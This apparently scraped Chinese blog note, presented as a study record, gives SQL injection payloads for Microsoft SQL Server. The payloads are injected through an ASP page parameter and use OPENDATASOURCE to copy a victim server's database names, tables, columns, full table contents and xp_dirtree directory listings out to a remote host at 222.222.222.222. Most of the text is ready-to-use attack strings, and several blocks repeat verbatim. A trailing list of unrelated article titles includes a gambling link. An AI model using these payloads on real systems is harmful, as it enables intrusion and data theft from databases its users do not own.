opendatasource学习记录
来源:互联网 发布:大连淘宝装修 编辑:程序博客网 时间:2024/06/03 18:55
实现功能:
获取所有库.当前库所有表.表里所有内容.分区路径.
本机建立库和表,方便反弹时写进东西.
create database lcx
CREATE TABLE ku(name nvarchar(256) null)
CREATE TABLE biao(id int NULL,name nvarchar(256) null)
CREATE TABLE ku(name nvarchar(256) null)
CREATE TABLE biao(id int NULL,name nvarchar(256) null)
得到目标服务器上的所有数据库名:
insert into opendatasource('sqloledb','server=222.222.222.222;uid=sa;pwd=pass;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases--
得到当前库:
insert into opendatasource('sqloledb','server=222.222.222.222;uid=sa;pwd=pass;database=lcx').lcx.dbo.ku select db_name(0)--
得到当前库的所有表名
insert into opendatasource('sqloledb','server=222.222.222.222;uid=sa;pwd=pass;database=lcx').lcx.dbo.biao select [id],[name] from sysobjects where xtype='U'--
获得其它库的所有表名
insert into opendatasource('sqloledb','server=222.222.222.222;uid=sa;pwd=pass;database=lcx').lcx.dbo.biao select [id],[name] from 库名.dbo.sysobjects where xtype='U'--
获得当前库指定表名的列
复制一个系统表结构
1. select * into [tmpcolumns] from syscolumns where 1=2
2. insert into opendatasource('sqloledb','server=222.222.222.222;uid=sa;pwd=pass;database=lcx').lcx.dbo.tmpcolumns select * from syscolumns where id=1723153184--
2. insert into opendatasource('sqloledb','server=222.222.222.222;uid=sa;pwd=pass;database=lcx').lcx.dbo.tmpcolumns select * from syscolumns where id=1723153184--
//这一步目的是查询当前表的结构,好在本机建立同样的表.
返回表的所有内容
insert into opendatasource('sqloledb','server=222.222.222.222;uid=sa;pwd=pass;database=lcx').lcx.dbo.chong select * from [chong]--
复制一个系统表结构 重要的: name列名 xtype数据类型 length长度 //在本机建立一个同样的表
关系表如下:
when 34 then ''image''
when 35 then ''text''
when 52 then ''smallint''
when 56 then ''int''
when 61 then ''datetime''
when 62 then ''float''
when 108 then ''numeric''
when 167 then ''varchar''
when 175 then ''char''
when 231 then ''nvarchar''
========================
when 35 then ''text''
when 52 then ''smallint''
when 56 then ''int''
when 61 then ''datetime''
when 62 then ''float''
when 108 then ''numeric''
when 167 then ''varchar''
when 175 then ''char''
when 231 then ''nvarchar''
========================
查路径 实践:
1. xx.asp?id=1;CREATE TABLE chong (subdirectory VARCHAR(100),depth VARCHAR(100),[file] VARCHAR(100));--
2. xx.asp?id=1;Insert chong exec master..xp_dirtree "C:/",1,1;--
本机: 3 4
3. select * into [tmpcolumns] from syscolumns where 1=2
4. CREATE TABLE chong (subdirectory VARCHAR(100),depth VARCHAR(100),[file] VARCHAR(100))
5. xx.asp?id=1;insert into opendatasource('sqloledb','server=222.222.222.222;uid=sa;pwd=pass;database=lcx').lcx.dbo.biao select [id],[name] from sysobjects where xtype='U'--
6. 从5中得到反回来的chong表的ID.一共有三个列.
7. xx.asp?id=1;insert into opendatasource('sqloledb','server=222.222.222.222;uid=sa;pwd=pass;database=lcx').lcx.dbo.tmpcolumns select * from syscolumns where id=1723153184--
8. where id=1723153184 其中一个.下面返回来的内容.就是现在的ID对应的内容
9. xx.asp?id=1; insert into opendatasource('sqloledb','server=222.222.222.222;uid=sa;pwd=pass;database=lcx').lcx.dbo.chong select * from [chong]--
10. 路径在本机chong里.
2. xx.asp?id=1;Insert chong exec master..xp_dirtree "C:/",1,1;--
本机: 3 4
3. select * into [tmpcolumns] from syscolumns where 1=2
4. CREATE TABLE chong (subdirectory VARCHAR(100),depth VARCHAR(100),[file] VARCHAR(100))
5. xx.asp?id=1;insert into opendatasource('sqloledb','server=222.222.222.222;uid=sa;pwd=pass;database=lcx').lcx.dbo.biao select [id],[name] from sysobjects where xtype='U'--
6. 从5中得到反回来的chong表的ID.一共有三个列.
7. xx.asp?id=1;insert into opendatasource('sqloledb','server=222.222.222.222;uid=sa;pwd=pass;database=lcx').lcx.dbo.tmpcolumns select * from syscolumns where id=1723153184--
8. where id=1723153184 其中一个.下面返回来的内容.就是现在的ID对应的内容
9. xx.asp?id=1; insert into opendatasource('sqloledb','server=222.222.222.222;uid=sa;pwd=pass;database=lcx').lcx.dbo.chong select * from [chong]--
10. 路径在本机chong里.
- opendatasource学习记录
- 记录opendatasource打开Access数据库
- opendatasource
- opendatasource
- OpenDataSource and OpenDataSource(1)
- OpenDataSource and OpenDataSource(2)
- opendatasource使用方法
- opendatasource使用方法
- OPENDATASOURCE 用法
- OpenDataSOurce 指定参数
- OpenDataSource的用法
- 分布式查询 opendatasource()
- 分布式查询 opendatasource()
- OpenDataSource的用法
- OpenDataSource函数,OPENROWSET函数
- opendatasource与datarowset
- OpenDataSource、OPENQUERY、OPENROWSET用法
- OpenDataSource与OpenRowSet 用法
- 处理请求的过程的线索
- 3月23日,Youtube又掛了。
- 从.Net类库代码来看Asp.net运行时(转自酷网动力)
- 使用OPENDATASOURCE 函数,在查询中实现从ACCESS获取数据,并插入SQLSERVER2000表中
- SQL命令大全-中英文对照
- opendatasource学习记录
- openrowset/opendatasource的其它技巧
- 西安邮电学院建院50周年校庆公告
- ERP和中间件杂谈
- 菜单资源问题
- 高灵活度WEBFORM表单验证框架寻求内测人员~
- bet365最新网址
- VC.net 字符串转换成UTF-8形式
- 事件与委托趣谈